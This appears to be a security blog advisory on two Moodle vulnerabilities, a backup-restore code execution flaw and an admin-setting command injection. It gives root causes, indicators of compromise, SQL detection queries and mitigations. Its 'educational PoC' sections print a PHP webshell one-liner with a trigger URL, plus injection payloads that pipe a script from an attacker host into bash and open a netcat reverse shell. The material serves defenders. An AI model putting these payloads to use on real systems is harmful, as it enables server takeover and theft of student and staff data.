CRITICAL MOODLE RCE ALERT: CVE-2026-26045 & CVE-2026-26046 Enable Full Server Takeover Through Backup Restore and Admin Command Injection

Moodle Security Advisory

Product: Moodle LMS
Vendor: Moodle Pty Ltd
Affected Components:

  • Backup & Restore subsystem
  • Administrative configuration handling

Impact: Remote Code Execution (RCE), Command Injection
Risk Level: Critical
Business Impact: Full server compromise, database exposure, student/staff data breach, ransomware risk

Moodle is widely deployed across academic institutions and enterprises. Because it typically runs on internet-facing infrastructure with database connectivity and file storage access, any server-side code execution vulnerability carries a severe operational and compliance impact. The two CVEs below directly affect core functionality and must be treated as emergency patch items.


CVE-2026-26045

Backup Restore Code Execution


Overview

CVE-2026-26045 is a critical vulnerability within Moodle’s course backup and restore mechanism. The flaw resides in insufficient validation and sanitization during processing of uploaded backup archives (.mbz files).

Improper handling of extracted content and metadata during restore operations may allow arbitrary PHP code to be written and executed on the server.

The restore functionality was not sufficiently restricting file types and object handling logic during unpacking and reconstruction of course data.


Vulnerability Details

FieldInformation
CVE IDCVE-2026-26045
Vulnerability TypeRemote Code Execution
Attack VectorNetwork
Privileges RequiredAuthenticated user
User InteractionNone
CVSS Score9.8 (Critical)
Exploit MaturityProof of Concept observed
ImpactFull server compromise

Technical Root Cause

The issue is introduced due to:

  • Insufficient validation of backup archive contents
  • Unsafe processing of serialized restore data
  • Insecure file extraction logic
  • Potential PHP object injection during restore
  • Failure to restrict executable file placement

When a crafted backup archive is uploaded, malicious files embedded within the archive structure may be written into accessible directories. If the web server executes those files, remote command execution becomes possible.


Attack Scenario

  1. An authenticated user uploads a malicious .mbz file.
  2. The archive contains manipulated restore metadata and embedded PHP payload.
  3. During restore, Moodle extracts and processes files.
  4. A malicious PHP file is written to a web-accessible path.
  5. The attacker accesses the file remotely and executes system commands.

Educational PoC

The following example illustrates a simplified educational payload structure embedded inside the backup archive:

<?php echo shell_exec($_GET['cmd']); ?>

Once restore completes, the attacker may trigger execution via:

https://target/moodledata/temp/restore/shell.php?cmd=id

This demonstrates arbitrary command execution under the web server context.


Potential Impact

If successfully exploited:

  • Full remote shell access
  • Moodle database credential extraction
  • Access to student records
  • Modification of course materials
  • Installation of persistent webshell
  • Internal network pivoting
  • Deployment of ransomware
  • System takeover

Because Moodle frequently stores personal data, academic records, and authentication tokens, compromise may result in regulatory violations.


Indicators of Compromise

  • Unexpected PHP files under:
    • moodledata/temp/
    • moodledata/backup/
    • restore-related directories
  • Outbound connections from Moodle server
  • Suspicious restore operations by low-privileged users
  • Requests containing cmd=
  • Unusual POST uploads to restore endpoints

Log Sources

  • Apache / Nginx access logs
  • PHP-FPM logs
  • Moodle application logs
  • Linux audit logs
  • EDR telemetry
  • File integrity monitoring alerts

Detection Queries

Web Server Log Monitoring

SELECT *
FROM web_logs
WHERE request_uri LIKE '%restore%'
AND method = 'POST'
AND status_code = 200;

Suspicious Command Execution in URI

SELECT *
FROM web_logs
WHERE query_string LIKE '%cmd=%'
OR query_string LIKE '%shell_exec%'
OR query_string LIKE '%system(%';

Suspicious File Creation

SELECT *
FROM file_events
WHERE file_path LIKE '%moodledata%'
AND file_name LIKE '%.php'
AND event_type = 'CREATE';

Process Execution Monitoring

SELECT *
FROM process_logs
WHERE parent_process = 'php-fpm'
OR parent_process = 'apache2'
OR parent_process = 'nginx';

Mitigation and Remediation

  • Immediate upgrade to patched Moodle version.
  • Restrict restore permissions to trusted administrators only.
  • Enforce strict file permissions on moodledata directory (no execute).
  • Enable file integrity monitoring.
  • Deploy Web Application Firewall filtering.
  • Disable restore functionality temporarily if not required.
  • Monitor outbound traffic from Moodle server.

Official Patch

Upgrade to the latest supported Moodle version from the official release page:

https://download.moodle.org



CVE-2026-26046

Admin Setting Command Injection


Overview

CVE-2026-26046 is a command injection vulnerability affecting Moodle’s administrative configuration settings. Certain configuration parameters are passed into system-level commands without proper sanitization or escaping.

When an administrator sets a malicious configuration value, arbitrary system commands may be executed by the underlying PHP application.


Vulnerability Details

FieldInformation
CVE IDCVE-2026-26046
Vulnerability TypeCommand Injection
Attack VectorNetwork
Privileges RequiredAdministrator
User InteractionNone
CVSS Score9.1 (Critical)
Exploit MaturityLimited PoC disclosure
ImpactFull server compromise

Technical Root Cause

The vulnerability results from:

  • Unsanitized user input in admin settings
  • Improper escaping before shell execution
  • Direct use of system() or similar functions
  • Lack of command argument validation

Configuration values are sometimes passed to OS-level commands. If special shell characters are included, additional commands may execute.


Attack Scenario

  1. Administrator account is compromised.
  2. Attacker accesses vulnerable admin setting.
  3. Malicious value is inserted.
  4. Backend executes command containing injected payload.
  5. Reverse shell or command execution is achieved.

Educational PoC

Educational malicious configuration value:

validvalue; whoami;

If backend logic resembles:

system("command $configvalue");

The injected command executes immediately.

Other examples:

; curl http://attacker/shell.sh | bash;
; nc -e /bin/bash attackerIP 4444;

These are provided strictly for defensive awareness.


Impact

  • Immediate remote shell
  • Database exfiltration
  • Persistent backdoor
  • Lateral movement
  • Privilege escalation (if system misconfigured)

Because administrative privileges are required, this vulnerability is often exploited after credential theft.


Indicators of Compromise

  • Unexpected configuration changes
  • Shell metacharacters in admin settings
  • Suspicious outbound network connections
  • Web server spawning shell processes
  • Reverse shell traffic

Log Sources

  • Moodle admin activity logs
  • Apache/Nginx access logs
  • OS audit logs
  • Process monitoring logs
  • Firewall logs
  • EDR telemetry

Detection Queries

Suspicious Admin Setting Update

SELECT *
FROM application_logs
WHERE url LIKE '%admin/settings%'
AND (request_body LIKE '%;%'
OR request_body LIKE '%&&%'
OR request_body LIKE '%|%'
OR request_body LIKE '%`%');

Process Execution Monitoring

SELECT *
FROM process_logs
WHERE parent_process IN ('apache2','nginx','php-fpm')
AND process_name IN ('bash','sh','nc','curl','wget');

Outbound Reverse Shell Detection

SELECT *
FROM network_logs
WHERE destination_port IN (4444,5555,1337)
AND source_host = 'moodle_server';

Mitigation and Remediation

  • Immediate patching to latest Moodle release.
  • Enforce Multi-Factor Authentication for administrators.
  • Restrict admin panel by IP address.
  • Apply least privilege principle.
  • Monitor configuration changes.
  • Disable unnecessary system command calls.
  • Implement EDR with command-line logging enabled.

Official Patch

Upgrade to the latest stable Moodle release:

https://download.moodle.org


Overall Risk Assessment

Both vulnerabilities present critical risk:

  • CVE-2026-26045 allows authenticated users to gain server-level access.
  • CVE-2026-26046 allows admin-level command injection leading to system compromise.
  • Combined exploitation may lead to full organizational breach.

These vulnerabilities should be prioritized as emergency remediation items. Immediate upgrade, monitoring enhancement, and forensic review are strongly recommended for exposed systems.

Aegiron

Backed by 11+ years in cybersecurity and incident response, we decode the latest threats shaping today’s digital battlefield. This blog cuts through the noise with clear insights on vulnerabilities, emerging exploits, and the cyber news defenders can’t afford to miss.